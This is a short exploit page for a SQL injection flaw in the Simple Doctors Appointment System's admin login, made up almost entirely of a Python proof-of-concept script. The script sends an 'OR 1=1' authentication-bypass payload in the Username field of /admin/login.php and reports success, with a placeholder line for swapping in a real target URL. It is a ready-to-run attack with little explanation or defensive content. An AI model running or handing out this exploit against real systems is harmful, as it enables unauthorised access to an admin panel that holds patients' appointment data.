CVE-2026-5179 Simple Doctors Appointment System SQL注入漏洞

import requests def exploit_sqli(target_url): """ PoC for CVE-2026-5179 SQL Injection in Simple Doctors Appointment System 1.0 Exploits the Username parameter in /admin/login.php """ login_url = f"{target_url}/admin/login.php" # Malicious payload to bypass login or extract data # Example: ' OR '1'='1 to bypass authentication payload = { "Username": "admin' OR '1'='1'--", "Password": "random_password" } try: response = requests.post(login_url, data=payload, timeout=10) # Check if the payload was successful (e.g., redirection to dashboard or specific success message) if "dashboard" in response.text.lower() or response.status_code == 302: print("[+] Exploit successful! SQL Injection confirmed.") print(f"[+] Response length: {len(response.text)}") else: print("[-] Exploit failed or target not vulnerable.") except requests.exceptions.RequestException as e: print(f"[!] Error connecting to target: {e}") if __name__ == "__main__": target = "http://localhost" # Replace with actual target URL exploit_sqli(target)